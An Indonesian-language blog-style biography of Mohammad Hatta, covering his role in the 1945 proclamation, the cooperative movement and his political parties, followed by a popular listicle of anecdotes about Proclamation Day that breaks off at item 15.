Selama masa pendudukan Jepang, Hatta tidak banyak bicara. Namun pidato yang diucapkan di Lapangan Ikada (sekarang Lapangan Merdeka) pada tanggaI 8 Desember 1942 menggemparkan banyak kalangan. Ia mengatakan, “Indonesia terlepas dari penjajahan imperialisme Belanda. Dan oleh karena itu ia tak ingin menjadi jajahan kembali. Tua dan muda merasakan ini setajam-tajamnya. Bagi pemuda Indonesia, ia Iebih suka melihat Indonesia tenggelam ke dalam lautan daripada mempunyainya sebagai jajahan orang kembali.”

Perjuangan Kemerdekaan

Pada awal Agustus 1945, Panitia Penyidik Usaha-Usaha Persiapan Kemerdekaan Indonesia diganti dengan Panitia Persiapan Kemerdekaan Indonesia, dengan Soekamo sebagai Ketua dan Mohammad Hatta sebagai Wakil Ketua. Anggotanya terdiri dari wakil-wakil daerah di seluruh Indonesia, sembilan dari Pulau Jawa dan dua belas orang dari luar Pulau Jawa.

Pada tanggal 16 Agustus 1945 malam, Panitia Persiapan Kemerdekaan Indonesia mempersiapkan proklamasi dalam rapat di rumah Admiral Maeda (JI Imam Bonjol, sekarang), yang berakhir pada pukul 03.00 pagi keesokan harinya. Panitia kecil yang terdiri dari 5 orang, yaitu Soekamo, Hatta, Soebardjo, Soekarni, dan Sayuti Malik memisahkan diri ke suatu ruangan untuk menyusun teks proklamasi kemerdekaan. Soekarno meminta Hatta menyusun teks proklamasi yang ringkas. Hatta menyarankan agar Soekarno yang menuliskan kata-kata yang didiktekannya. Setelah pekerjaan itu selesai. mereka membawanya ke ruang tengah, tempat para anggota lainnya menanti.

Soekarni mengusulkan agar naskah proklamasi tersebut ditandatangi oleh dua orang saja, Soekarno dan Mohammad Hatta. Semua yang hadir menyambut dengan bertepuk tangan riuh.

Tangal 17 Agustus 1945, kemerdekaan Indonesia diproklamasikan oleh Soekarno dan Mohammad Hatta atas nama bangsa Indonesia, tepat pada jam 10.00 pagi di Jalan Pengangsaan Timur 56 Jakarta.

Tanggal 18 Agustus 1945, Drs. Mohammad Hatta secara aklamasi diangkat sebagai Wakil Presiden Republik Indonesia, bersama Ir. Soekarno menjadi Presiden Republik Indonesia setelah ia dan bung karno memproklamasikan kemerdekaan Indonesia. Oleh karena peran tersebut maka keduanya disebut Bapak Proklamator Indonesia. Soekardjo Wijopranoto mengemukakan bahwa Presiden dan Wakil Presiden harus merupakan satu dwitunggal.

Kehidupan Pribadi

Hatta menikah dengan Rahmi Rachim pada tanggal 18 Nopember 1945 di Megamendung, Bogor, Jawa Barat. Mereka mempunyai tiga orang putri, yaitu Meutia Farida, Gemala Rabi’ah, dan Halida Nuriah. Dua orang putrinya yang tertua telah menikah. Yang pertama dengan Dr. Sri-Edi Swasono dan yang kedua dengan Drs. Mohammad Chalil Baridjambek. Hatta sempat menyaksikan kelahiran dua cucunya, yaitu Sri Juwita Hanum Swasono dan Mohamad Athar Baridjambek.

Karena hobinya membaca, maka Bung Hatta pun mempunyai perpustakaan pribadi. Perpustakaan Bung Hatta memiliki lebih dari 8.000 buku, terdiri dari Sejarah, Budaya, Politik, Bahasa dan lain-lain. Hal inilah yang turut menyumbang kemampuan Beliau dalam berdiplomasi utnuk memperjuangkan Kemerdekaan Republik Indonesia.

Mempertahankan Kemerdekaan Indonesia

PK 5

Indonesia harus mempertahankan kemerdekaannya dari usaha Pemerintah Belanda yang ingin menjajah kembali. Pemerintah Republik Indonesia pindah dari Jakarta ke Yogyakarta. Dua kali perundingan dengan Belanda menghasilkan Perjanjian Linggarjati dan Perjanjian Renville, tetapi selalu berakhir dengan kegagalan akibat kecurangan pihak Belanda.

Untuk mencari dukungan luar negeri, pada Juli I947, Bung Hatta pergi ke India menemui Jawaharlal Nehru dan Mahatma Gandhi. dengan menyamar sebagai kopilot bernama Abdullah (Pilot pesawat adalah Biju Patnaik yang kemudian menjadi Menteri Baja India di masa Pemerintah Perdana Menteri Morarji Desai). Nehru berjanji, India dapat membantu Indonesia dengan protes dan resolusi kepada PBB agar Belanda dihukum.

Kesukaran dan ancaman yang dihadapi silih berganti. September 1948 PKI melakukan pemberontakan. 19 Desember 1948, Belanda kembali melancarkan agresi kedua. Presiden dan Wapres ditawan dan diasingkan ke Bangka. Namun perjuangan Rakyat Indonesia untuk mempertahankan kemerdekaan terus berkobar di mana-mana. Panglima Besar Soediman melanjutkan memimpin perjuangan bersenjata.

Pada tanggal 27 Desember 1949 di Den Haag, Bung Hatta yang mengetuai Delegasi Indonesia dalam Konperensi Meja Bundar untuk menerima pengakuan kedaulatan Indonesia dari Ratu Juliana.

Bung Hatta juga menjadi Perdana Menteri waktu Negara Republik Indonesia Serikat berdiri. Selanjutnya setelah RIS menjadi Negara Kesatuan Republik Indonesia, Bung Hatta kembali menjadi Wakil Presiden.

Periode Tahun 1950-1956

Selama menjadi Wakil Presiden, Bung Hatta tetap aktif memberikan ceramah-ceramah di berbagai lembaga pendidikan tinggi. Dia juga tetap menulis berbagai karangan dan buku-buku ilmiah di bidang ekonomi dan koperasi. Dia juga aktif membimbing gerakan koperasi untuk melaksanakan cita-cita dalam konsepsi ekonominya. Tanggal 12 Juli 1951, Bung Hatta mengucapkan pidato radio untuk menyambut Hari Koperasi di Indonesia. Karena besamya aktivitas Bung Hatta dalam gerakan koperasi, maka pada tanggal 17 Juli 1953 dia diangkat sebagai Bapak Koperasi Indonesia pada Kongres Koperasi Indonesia di Bandung. Pikiran-pikiran Bung Hatta mengenai koperasi antara lain dituangkan dalam bukunya yang berjudul Membangun Koperasi dan Koperasi Membangun (1971).

Pada tahun 1955, Bung Hatta mengumumkan bahwa apabila parlemen dan konsituante pilihan rakyat sudah terbentuk, ia akan mengundurkan diri sebagai Wakil Presiden. Niatnya untuk mengundurkan diri itu diberitahukannya melalui sepucuk surat kepada ketua Perlemen, Mr. Sartono. Tembusan surat dikirimkan kepada Presiden Soekarno. Setelah Konstituante dibuka secara resmi oleh Presiden, Wakil Presiden Hatta mengemukakan kepada Ketua Parlemen bahwa pada tanggal l Desember 1956 ia akan meletakkan jabatannya sebagai Wakil Presiden RI. Presiden Soekarno berusaha mencegahnya, tetapi Bung Hatta tetap pada pendiriannya.

Pada tangal 27 Nopember 1956, ia memperoleh gelar kehormatan akademis yaitu Doctor Honoris Causa dalam ilmu hukum dari Universitas Gajah Mada di Yoyakarta. Pada kesempatan itu, Bung Hatta mengucapkan pidato pengukuhan yang berjudul “Lampau dan Datang”.

Sesudah Bung Hatta meletakkan jabatannya sebagai Wakil Presiden RI, beberapa gelar akademis juga diperolehnya dari berbagai perguruan tinggi. Universitas Padjadjaran di Bandung mengukuhkan Bung Hatta sebagai guru besar dalam ilmu politik perekonomian. Universitas Hasanuddin di Ujung Pandang memberikan gelar Doctor Honoris Causa dalam bidang Ekonomi. Universitas Indonesia memberikan gelar Doctor Honoris Causa di bidang ilmu hukum. Pidato pengukuhan Bung Hatta berjudul “Menuju Negara Hukum”.

Pada tahun 1960 Bung Hatta menulis “Demokrasi Kita” dalam majalah Pandji Masyarakat. Sebuah tulisan yang terkenal karena menonjolkan pandangan dan pikiran Bung Hatta mengenai perkembangan demokrasi di Indonesia waktu itu.

Pada tanggal 15 Agustus 1972, Presiden Soeharto menyampaikan kepada Bung Hatta anugerah negara berupa Tanda Kehormatan tertinggi “Bintang Republik Indonesia Kelas I” pada suatu upacara kenegaraan di Istana Negara.

Dalam masa pemerintahan Orde Baru, Bung Hatta lebih merupakan negarawan sesepuh bagi bangsanya daripada seorang politikus.

Tokoh Organisasi dan Partai Politik

Bung Hatta adalah nama salah seorang dari beribu pahlawan yang pernah memperjuangkan kemerdekaan dan kemajuan Indonesia. Sosok Bung Hatta telah menjadi begitu dekat dengan hati rakyat Indonesia karena perjuangan dan sifatnya yang begitu merakyat. Besarnya peran beliau dalam perjuangan negeri ini sehingga ai disebut sebagai salah seorang “The Founding Father’s of Indonesia”.

Berbagai tulisan dan kisah perjuangan Muhammad Hatta telah ditulis dan dibukukan, mulai dari masa kecil, remeja, dewasa dan perjuangan beliau untuk mewujudkan kemerdekaan Indonesia. Namun ada hal yang rasanya perlu sedikit digali dan dipahami yaitu melihat Bung Hatta sebagai tokoh organisasi dan partai politik, hal ini dikaitkan dengan usaha melihat perkembangan kegiatan politik dan ketokohan politik di dunia politik Indonesia sekarang maka pantas rasanya kita ikut melihat perjuangan dan perjalanan kegiatan politik Bung Hatta.

Setelah perang dunia I berakhir generasi muda Indonesia yang berprestasi makin banyak yang mendapat kesempatan mengenyam pendidikan luar negeri seperti di Belanda, Kairo (Mesir). Hal ini diperkuat dengan diberlakukannya politik balas budi oleh Belanda. Bung Hatta adalah salah seorang pemuda yang beruntung, beliau mendapat kesempatan belajar di Belanda. Kalau kita memperhatikan semangat berorganisasi Bung Hatta, sebenarnya telah tumbuh sewaktu beliau berada di Indonesia. Beliau pernah menjadi ketua Jong Sematera (1918-1921) dan semangat ini makin membara dengan asahan dari kultur pendidikan Belanda / Eropa yang bernafas demokrasi dan keterbukaan.

Keinginan dan semangat berorganisasi Bung Hatta makin terlihat sewaktu beliau mulai aktif di kelompok Indonesische Vereeniging yang merupakan perkumpulan pemuda-pemuda Indonesia yang memikirkan dan berusaha memajukan Indonesia, bahkan dalam organisasi ini dinyatakan bahwa tujuan mereka adalah : “ kemerdekaan bagi Indonesia “. Dalam organisasi yang keras dan anti penjajahan ini Bung Hatta makin “tahan banting” karena banyaknya rintangan dan hambatan yang mereka hadapi.

Walau mendapat tekanan, organisasi Indonesische Vereeniging tetap berkembang bahkan Januari 1925 organisasi ini dinyatakan sebagai sebuah organisasi politik yang kemudian dinamai Perhimpunan Indonesia (PI). Dan dalam organisasi ini Bung Hatta bertindak sebagai Pemimpinnya. Keterlibatan Bung Hatta dalam organisasi dan partai poltik bukan hanya di luar negeri tapi sekembalinya dari Belanda beliau juga aktif di PNI (Partai Nasional Indonesia) yang didirikan Soekarno tahun 1927. Dalam organisasi PNI, Bung Hatta menitik beratkan kegiatannya dibidang pendidikan. Beliau melihat bahwa melalui pendidikanlah rakyat akan mampu mencapai kemerdekaan. Karena PNI dinilai sebagai partai yang radikal dan membahayakan bagi kedudukan Belanda, maka banyak tekanan dan upaya untuk mengurangi pengaruhnya pada rakyat. Hal ini dilihat dari propaganda dan profokasi PNI tehadap penduduk untuk mengusakan kemerdekaan. Hingga akhirnya Bunga Karno di tangkap dan demi keamanan organisasi ini membubarkan diri.

Tak lama setetah PNI (Partai Nasional Indonesia) bubar, berdirilah organisasi pengganti yang dinamanakan Partindo (Partai Indonesia). Mereka memiliki sifat organisasi yang radikal dan nyata-nyata menentang Belanda. Hal ini tak di senangi oleh Bung Hatta. Karena tak sependapat dengan Partindo beliau mendirikan PNI Pendidikan (Partai Nasional Indonesia Pendidikan) atau disebut juga PNI Baru. Organisasi ini didirikan di Yogyakarta bulan Agustus 1932, dan Bung Hatta diangkat sebagai pemimpin. Organisasi ini memperhatikan “ kemajuan pendidikan bagi rakyat Indonesia, menyiapkan dan menganjurkan rakyat dalam bidang kebathinan dan mengorganisasikannya sehingga bisa dijadakan suatu aksi rakyat dengan landasan demokrasi untuk kemerdekaan “.

Organisasi ini berkembang dengan pesat, bayangkan pada kongres I di Bandung 1932 anggotanya baru 2000 orang dan setahun kemudian telah memiliki 65 cabang di Indonesia. Organisasi ini mendapat pengikut dari penduduk desa yang ingin mendapat dan mengenyam pendidikan. Di PNI Pendidikan Bung Hatta bekerjasama dengan Syahrir yang merupakan teman akrabnya sejak di Belanda. Hal ini makin memajukan organisasi ini di dunia pendidikan Indonesia waktu itu. Kemajuan, kegiatan dan aksi dari PNI Pendidikan dilihat Belanda sebagai ancaman baru tehadap kedudukan mereka sebagai penjajah di Indonesia dan mereka pun mengeluarkan beberapa ketetapan ditahun 1933 diantaranya:

* Polisi diperintahkan bertindak keras terhadap rapat-rapat PNI Pendidikan.

* 27 Juni 1933, pegawai negeri dilarang menjadi anggota PNI Pendidikan.

* 1 Agustus 1933, diadakan pelarangan rapat-rapat PNI Pendidikan di seluruh Indonesia.

Akhirnya ditahun 1934 Partai Nasional Indonesia Pendidikan dinyatakan Pemerintahan Kolonial Belanda di bubarkan dan dilarang keras bersama beberapa organisasi lain yang dianggap membahayakan seperti : Partindo dan PSII. Ide-ide PNI Pendidikan yang dituangkan dalam surat kabar ikut di hancurkan dan surat kabar yang menerbitkan ikut di bredel. Namun secara keorganisasian, Hatta sebagai pemimpin tak mau menyatakan organisasinya telah bubar. Ia tetap aktif dan berjuang untuk kemajuan pendidikan Indonesia.

Soekarno yang aktif di Partindo dibuang ke Flores diikuti dengan pengasingan Hatta dan Syahrir. Walau para pemimpin di asingkan namun para pengikut mereka tetap konsisten melanjutkan perjuangan partai. PNI Pendidikan tetap memberikan kursus-kursus, pelatihan-pelatuhan baik melalui tulisan maupun dengan kunjungan kerumah-rumah penduduk.

Dalam sidang masalah PNI Pendidikan M.Hatta, Syahrir, Maskun, Burhanuddin ,Bondan dan Murwoto dinyatakan bersalah dan dibuang ke Boven Digul (Papua). Demi harapan terciptanya ketenangan di daerah jajahan. Walau telah mendapat hambatan yang begitu besar namun perjuangan Hatta tak hanya sampai disitu, beliau terus berjuang dan salah satu hasil perjuangan Hatta dan para pahlawan lain tersebut adalah kemerdekaan yang telah kita raih dan kita rasakan sekarang.

Sebagai tulisan singkat mengenai sejarah ketokohan Muhammad Hatta di organisasi dan partai politik yang pernah beliau geluti, kita haruslah dapat mengambil pelajaran dari hal ini. Karena sejarah tak berarti apa-apa bila kita tak mampu mengambil manfaat dan nilai-nilai positif didalamnya. Dari kehidupan Hatta di dunia politik kita bisa melihat bahwa : Munculnya seorang tokoh penting dan memiliki jiwa patriot yang tangguh dan memikirkan kehidupan orang banyak serta memajukan bangsa dan negara “bukan hanya muncul dalam satu malam” atau bukanlah tokoh kambuhan yang muncul begitu saja, dan bukanlah sosok yang mengambil kesempatan untuk tampil sebagai pahlawan dan sosok pemerhati masyarakat. Tapi tokoh yang dapat kita jadikan contoh dan panutan dalam organisasi, partai, dan kehidupan berbangsa dan bernegara yang sesunguhnya adalah seorang sosok yang lahir dan tumbuh dalam lingkungan masyarakat, ia terlatih untuk mampu memahami keinginan dan cita-cita masyarakat, serta bertindak dengan menggunakan ilmu dan iman.

Seiring dengan meruaknya wacana demokrasi, terutama di era reformasi kita bisa melihat bahwa di Indonesia berkembang berbagai partai baru yang jumlahnya telah puluhan. Dalam kenyataanya memunculkan nama-nama baru sebagai tokoh, elit partai, elit politik yang berpengaruh di berbagai partai tersebut. Ada juga tokoh politik yang merupakan wajah-wajah lama yang konsisten di partainya atau beralih membentuk partai baru. Apakah mereka sudah pantas dikatakan sebagai tokoh, elite politik / elite partai?. Sebagai salah satu sosok tokoh ideal, dengan mencontoh ketokohan Bung Hatta kita harus mampu melihat berapa persen diantara tokoh-tokoh, orang-orang penting, elite politik / elite partai di Indonesia sekarang yang telah memperhatikan kehidupan masyarakat, berapa persen diantara mereka yang sudah melakukan usaha untuk memajukan kehidupan masyarakat Indonesia baik di bidang ekonomi, pendidikan, politik dan lain-lain.

Dalam kenyataannya, kebanyakan kita melihat tokoh politik, elite politik dan tokoh-tokoh partai di Indonesia dewasa ini kurang memperhatikan kehidupan dan kemajuan masyarakat. Mereka hanya mengambil simpati masyarakat disaat-saat mereka membutuhkan suara dan partisipasi penduduk, seperti saat-saat akan diadakannnya pemilihan umum (nasional), saat diadakannya pemilihan kepala daerah (Pilkada), setelah kegiatan itu berlangsung mereka mulai meninggalkan dan melupakan masyarakat. Namun ada beberapa partai dan tokoh yang sering terlihat dalam berbagai kegiatan social dan memperhatikan masyarakat.

Apakah kita masih menganggap bahwa seorang penjahat, pemaling (koruptor) yang lolos dari sergapan hukum sebagai tokoh panutan kita di organisasi, partai politik, pemerintahan, atau kehidupan sehari-hari? Jadi pantaslah kita belajar dari ketokohan Muhammad Hatta dalam kehidupan politiknya yang selalu bertindak demi kesejahteraan dan kemajuan rakyat Indonesia.

Akhir Hayat

Bung Hatta, Proklamator Kemerdekaan dan Wakil Presiden Pertama Republik Indonesia, wafat pada tanggal 14 Maret 1980 di Rumah Sakit Dr Tjipto Mangunkusumo, Jakarta, pada usia 77 tahun dan dikebumikan di TPU Tanah Kusir pada tanggal 15 Maret 1980.

Suri Teladan dari Bung Hatta


Salah satu karya monumental beliau adalah ide tentang pembentukan koperasi. Pemikiran ini kemudian beliau tuangkan melalui pembentukan koperasi pengusaha batik yang berhasil mendorong kemajuan bagi pengusaha batik sampai bisa ekspor ke luar negeri.

Pada saat bangsa Indonesia masih berkutat untuk menumbuhkan minat baca, pemikiran beliau sudah jauh lebih maju dengan memberikan teladan bangsa Indonesia untuk menumbuhkan budaya menulis. Kegiatan tulis-menulis ini telah beliau lakukan sejak masih belajar di negeri Belanda sampai akhir hayatnya. Tak terhitung lagi jumlah artikel dan buku yang telah beliau tulis. Sebuah monumen intelektual berupa perpustakaan di Bukittinggi pun telah didirikan untuk mengenang Pak Hatta.

Ada cerita yang bisa dijadikan teladan bagi kita, cerita yang mungkin jarang diketahui oleh banyak orang tentang bung Hatta.

Dulu saat tahun 1950-an, ada sebuah merek sepatu yang bermutu tinggi bernama Bally. Dan harganya tentulah tidak murah. Bung Hatta berminat ingin membeli sepatu Bally suatu hari nanti. Maka beliau kemudian menyimpan guntingan iklan yang memuat alamat penjualnya, lalu berusaha menabung agar bisa membeli sepatu idaman tersebut.

Namun, hingga akhir hayat beliau, sepatu Bally idaman Bung Hatta tidak pernah terbeli karena tabungannya tak pernah mencukupi karena tabungan itu selalu terambil untuk keperluan rumah tangga atau untuk membantu kerabat dan handai taulan yang datang kepadanya untuk meminta pertolongan.

Yang sangat mengharukan dari cerita ini adalah guntingan iklan sepatu Bally itu masih tersimpan dan menjadi saksi keinginan sederhana Bung Hatta saat beliau wafat. Padahal jika ingin memanfaatkan posisinya waktu itu yang masuk dalam jajaran tinggi wakil negara, sebenarnya sangatlah mudah bagi Bung Hatta untuk memperoleh sepatu Bally.

Namun, di sinilah letak keistimewaan Bung Hatta. Beliau tidak mau meminta sesuatu untuk kepentingan sendiri pada orang lain. Bung Hatta lebih memilih jalan sukar dan lama, yang ternyata gagal karena beliau lebih mendahulukan orang lain daripada kepentingannya sendiri.

Itulah salah satu teladan besar yang beliau tinggalkan, yaitu sikap mendahulukan orang lain, sikap menahan diri dari meminta hibah, santun bersahaja, dan membatasi konsumsi pada kemampuan yang ada. Kalau belum mampu, harus berdisiplin dengan tidak berutang atau bergantung pada orang lain.

Dr.(H.C.). Drs. H. Mohammad Hatta
Mohammad Hatta

Masa jabatan
18 Agustus 19451 Desember 1956
Presiden Soekarno
Pendahulu Tidak ada, jabatan baru
Pengganti Sri Sultan Hamengkubuwono IX

Masa jabatan
29 Januari 194816 Januari 1950
Presiden Soekarno
Pendahulu Amir Sjarifuddin
Pengganti Abdul Halim

Masa jabatan
29 Januari 19484 Agustus 1949
Presiden Soekarno
Pendahulu Amir Sjarifuddin
Pengganti Sri Sultan Hamengkubuwono IX

Lahir 12 Agustus 1902
Flag of the Netherlands.svg Bukittinggi, Sumatera Barat, Hindia Belanda
Meninggal 14 Maret 1980 (umur 77)
Flag of Indonesia.svg Jakarta, Indonesia
Kebangsaan Indonesia
Partai politik Non Partai
Suami/Istri Rahmi Rachim
Anak Meutia Hatta
Gemala Hatta
Halida Hatta
Agama Islam


Sumber : Wikipedia©, tokohindonesia.com, berbagai sumber lainnya

Created By….
viets jeremy

Misteri Dibalik Hari Proklamasi 17 Agustus 1945

17 Agustus 1945 merupakan hari besar kemerdekaan Negara Republik Indonesia. Pada tanggal tersebut, merupakan hari paling bersejarah bagi seluruh bangsa Indonesia, karena di hari itulah awal dari sejarah rakyat Indonesia dalam memproklamasikan kemerdekaannya setelah ratusan tahun lebih di dalam naungan penjajahan, sekaligus pertanda awalnya revolusi Indonesia.

Namun, dibalik itu semua, menyimpan misteri-misteri yang berhubungan erat antara satu dengan yang lainnya. Dan sebagai rakyat Indonesia, yang mencintai akan sejarah bangsanya, sudah sewajarnyalah untuk mengetahui misteri-misteri apa saja yang terkandung di dalamnya.

Berikut ialah misteri-misteri tentang kemerdekaan Republik Indonesia yang sakral tersebut :

1. Alasan Soekarno Menetapkan Tanggal 17 Agustus Sebagai Hari Proklamasi Indonesia

Dua hari sebelum proklamasi kemerdekaan Indonesia, terjadi percakapan antara Soekarno dengan Sukarni.

Yang paling penting di dalam peperangan dan revolusi adalah saatnya yang tepat. Di Saigon, saya sudah merencanakan seluruh pekerjaan ini untuk dijalankan tanggal 17 “, ujar Soekarno kala itu.

Mengapa justru diambil tanggal 17, mengapa tidak sekarang saja, atau tanggal 16 ?” tanya Sukarni.

”Saya seorang yang percaya pada mistik. Saya tidak dapat menerangkan dengan pertimbangan akal, mengapa tanggal 17 lebih memberi harapan kepadaku. Akan tetapi, saya merasakan di dalam kalbuku, bahwa itu adalah saat yang baik. Angka 17 adalah angka suci. Pertama-tama kita sedang berada dalam bulan Suci Ramadhan, waktu kita semua berpuasa, ini berarti saat yang paling suci bagi kita. tanggal 17 besok hari Jumat, hari Jumat itu Jumat legi, Jumat yang berbahagia, Jumat suci. Al-Qur’an diturunkan tanggal 17, orang Islam sembahyang 17 rakaat, oleh karena itu kesucian angka 17 bukanlah buatan manusia “, Soekarno menerangkan alasannya.

2. Bung Karno Sakit Saat Proklamirkan Kemerdekaan

Pada 17 Agustus 1945 pukul 08.00 (2 jam sblm pembacaan teks Proklamasi), ternyata Bung Karno masih tidur nyenyak di kamarnya, di Jalan Pegangsaan Timur 56, Cikini. Dia terkena gejala malaria tertiana. Suhu badannya tinggi, dan sangat lelah setelah begadang bersama para penyusun konsep naskah proklamasi di Rumah Laksamana Maeda. Saat itu, tepat di tengah-tengah bulan puasa Ramadhan.

‘Pating greges’, keluh Bung Karno setelah dibangunkan Dr. Soeharto, dokter pribadi kesayangannya. Kemudian darahnya dialiri Chinineurethan intramusculair dan menenggak Pil Brom chinine. Lalu ia tidur lagi. Pukul 09.00, Bung Karno terbangun. Berpakaian rapi putih-putih dan menemui sahabatnya, Bung Hatta.

Tepat pukul 10.00, keduanya memproklamasikan kemerdekaan Indonesia dari serambi rumah. “Demikianlah Saudara-saudara! Kita sekalian telah merdeka!”, ujar Bung Karno di hadapan segelintir patriot-patriot sejati.

Mereka lalu menyanyikan lagu kebangsaan “Indonesia Raya”, sambil mengibarkan bendera pusaka Merah Putih. Setelah upacara yang singkat dan khidmat itu selesai, Bung Karno kembali ke kamar tidurnya (masih dalam kondisi meriang), akan tetapi sebuah revolusi telah dimulai.

3. Upacara Proklamasi Kemerdekaan Dibuat Sangat Sederhana

Upacara Proklamasi Kemerdekaan Indonesia ternyata berlangsung tanpa Protokol, tak ada Korps musik, tak ada konduktor, dan tak ada Pancaragam. Tiang bendera pun dibuat dari Batang bambu secara kasar, serta ditanam hanya beberapa menit menjelang upacara. Tetapi itulah, kenyataan yang terjadi pada sebuah upacara sakral yang dinanti-nanti selama lebih dari 300 tahun.

4. Bendera dari Seprai dan Kain Tukang Soto

Bendera Pusaka Sang Saka Merah Putih adalah bendera resmi pertama bagi Republik Indonesia. Tetapi dari apakah bendera sakral itu dibuat pertama kalinya? Warna putihnya diambil dari kain Seprei tempat tidur, dan warna merahnya dari kain Tukang soto.

5. Perintah Pertama Presiden Soekarno Saat Pertama Kali Menjadi Presiden RI adalah Memanggil Tukang Sate

Perintah pertama Presiden Soekarno saat dipilih sebagai presiden pertama RI, bukanlah membentuk sebuah kabinet atau menandatangani sebuah dekret, melainkan memanggil Tukang sate. Itu dilakukannya dalam perjalanan pulang, setelah terpilih secara aklamasi sebagai presiden. Kebetulan di jalan bertemu seorang tukang sate bertelanjang dada dan nyeker (tidak memakai alas kaki).

“Sate ayam lima puluh tusuk!”, perintah Presiden Soekarno. Disantapnya sate dengan lahap dekat sebuah selokan yang kotor. Dan itulah, perintah pertama pada rakyatnya, sekaligus pesta pertama atas pengangkatannya sebagai pemimpin dari 70 juta jiwa lebih rakyat dari sebuah negara besar yang baru berusia satu hari.

6. Soekarno Memandikan Penumpang Pesawat dengan Air Seni

Rasa-rasanya di dunia ini, hanya The founding fathers Indonesia yang pernah mandi air seni. Saat pulang dari Dalat (Cipanasnya Saigon), Vietnam, 13 Agustus 1945, Bung Karno bersama Bung Hatta, dr Radjiman Wedyodiningrat, dan Dr. Soeharto (dokter pribadi Bung Karno), menumpang pesawat Fighter Bomber bermotor ganda.

Dalam perjalanan, Soekarno ingin sekali buang air kecil, tetapi tak ada tempat. Setelah dipikir, dicari jalan keluarnya untuk hasrat yang tak tertahan itu. Melihat lubang-lubang kecil di dinding pesawat, di situlah Bung Karno melepaskan hajat kecilnya. Karena angin begitu kencang sekali, bersemburlah air seni itu dan membasahi semua penumpang termasuk dirinya.

7. Bung Hatta Berbohong Demi Proklamasi

Kali ini, Bung Hatta yang berbohong demi proklamasi. Waktu masa revolusi, Bung Karno memerintahkan Bung Hatta untuk meminta bantuan senjata kepada Jawaharlal Nehru. Cara untuk pergi ke India pun dilakukan secara rahasia.

Bung Hatta memakai paspor dengan nama ‘Abdullah – co-pilot‘. Lalu beliau berangkat dengan pesawat yang dikemudikan Biju Patnaik, seorang industrialis yang kemudian menjadi menteri pada kabinet PM Morarji Desai. Bung Hatta diperlakukan sangat hormat oleh Nehru dan diajak bertemu Mahatma Gandhi.

Nehru adalah kawan lama Hatta sejak 1920-an, dan Gandhi mengetahui perjuangan Hatta. Setelah pertemuan, Gandhi diberi tahu oleh Nehru bahwa ‘Abdullah’ itu adalah Mohammad Hatta. Apa reaksi Gandhi? Dia marah besar kepada Nehru, karena tidak diberi tahu yang sebenarnya.’You are a liar !‘ ujar tokoh kharismatik itu kepada Nehru.

8. Negatif Film Foto Kemerdekaan Disimpan Di Bawah Pohon

Berkat kebohongan, peristiwa sakral Proklamasi 17 Agustus 1945 dapat di dokumentasikan dan di saksikan oleh kita hingga kini. Saat tentara Jepang ingin merampas negatif foto yang mengabadikan peristiwa penting tersebut, Frans Mendoer, fotografer yang merekam detik-detik proklamasi, berbohong kepada mereka.

Dia bilang tak punya negatif itu dan sudah diserahkan kepada Barisan Pelopor, sebuah gerakan perjuangan. Mendengar jawaban itu, Jepang pun marah besar, padahal negatif film itu ditanam di bawah sebuah pohon di Halaman Kantor harian Asia Raja. Setelah Jepang pergi, negatif itu diafdruk dan dipublikasi secara luas hingga bisa dinikmati sampai sekarang. Bagaimana kalau Mendoer bersikap jujur pada Jepang saat itu?

9. Naskah Asli Proklamasi Ditemukan di Tempat Sampah

Naskah asli teks Proklamasi Kemerdekaan Indonesia yang ditulis tangan oleh Bung Karno dan didikte oleh Bung Hatta, ternyata tidak pernah dimiliki dan disimpan oleh Pemerintah. Dan anehnya, naskah historis tersebut justru disimpan dengan baik oleh wartawan BM Diah.

Diah menemukan draft proklamasi itu di dalam keranjang sampah di rumah Laksamana Maeda, 17 Agustus 1945 dini hari, setelah disalin dan diketik oleh Sajuti Melik. Pada 29 Mei 1992, Diah menyerahkan draft tersebut kepada Presiden Soeharto, setelah menyimpannya selama 46 tahun, 9 bulan, 19 hari.

10. Indonesia Mungkin Saja Punya Lebih Dari Dua Proklamator

Kalau saja usul Bung Hatta diterima, tentu Indonesia punya ‘lebih dari dua’ proklamator. Pada saat setelah konsep naskah Proklamasi Kemerdekaan Indonesia rampung disusun di rumah Laksamana Maeda, Jl Imam Bonjol no 1, Jakarta, Bung Hatta mengusulkan semua yang hadir saat rapat dini hari itu ikut menandatangani teks proklamasi yang akan dibacakan pagi harinya.

Tetapi, usul ditolak oleh Soekarni, salah seorang pemuda yang hadir. Rapat itu dihadiri Soekarno, Hatta, dan calon proklamator yang gagal : Achmad Soebardjo, Soekarni, dan Sajuti Melik. ‘Huh, diberi kesempatan membuat sejarah tidak mau’, gerutu Bung Hatta karena usulnya ditolak.

11. Gelar Proklamator Hanyalah Gelar Lisan

Gelar Proklamator untuk Bung Karno dan Bung Hatta, hanyalah gelar lisan yang diberikan rakyat Indonesia kepadanya selama 41 tahun. Sebab, baru 1986 Permerintah memberikan gelar proklamator secara resmi kepada mereka.

12. Tidak Ada Nama Jalan Soekarno-Hatta

Jakarta, tempat diproklamasikannya kemerdekaan Indonesia, dan kota tempat Bung Karno dan Bung Hatta berjuang memproklamirkan kemerdekaan, tidak memberi imbalan yang cukup untuk mengenang co-proklamator Indonesia.

Sampai detik ini, tidak ada ‘Jalan Soekarno-Hatta‘ di ibu kota Jakarta. Bahkan, nama mereka tidak pernah diabadikan untuk sebuah objek bangunan fasilitas umum apa pun sampai 1985, ketika sebuah bandara diresmikan dengan memakai nama mereka.

13. Soepeno Satu-Satunya Menteri Yang Tewas Ditembak Belanda

Perjuangan frontal melawan Belanda, ternyata tidak hanya menelan korban rakyat biasa, tetapi juga seorang menteri kabinet RI. Soepeno, Menteri Pembangunan dan Pemuda dalam Kabinet Hatta, merupakan satu-satunya menteri yang tewas ditembak Belanda.

Sebuah ujung revolver, dimasukkan ke dalam mulutnya dan diledakkan secara keji oleh seorang tentara Belanda. Pelipis kirinya tembus kena peluru. Kejadian tersebut terjadi pada 24 Februari 1949 pagi di sebuah tempat di Kabupaten Nganjuk , Jawa Timur. Saat itu, Soepeno dan ajudannya sedang mandi sebuah pancuran air terjun.

14. Jenderal Soedirman Tidak Pernah Duduki Jabatan Resmi

Panglima Besar Tentara Nasional Indonesia, Jenderal Soedirman, pada kenyatannya tidak pernah menduduki jabatan resmi di kabinet Republik Indonesia. Beliau tidak pernah menjadi KSAD, Pangab, bahkan menteri pertahanan sekalipun.

15. Sutan Sjahrir Memiliki Prestasi “Luar Biasa”

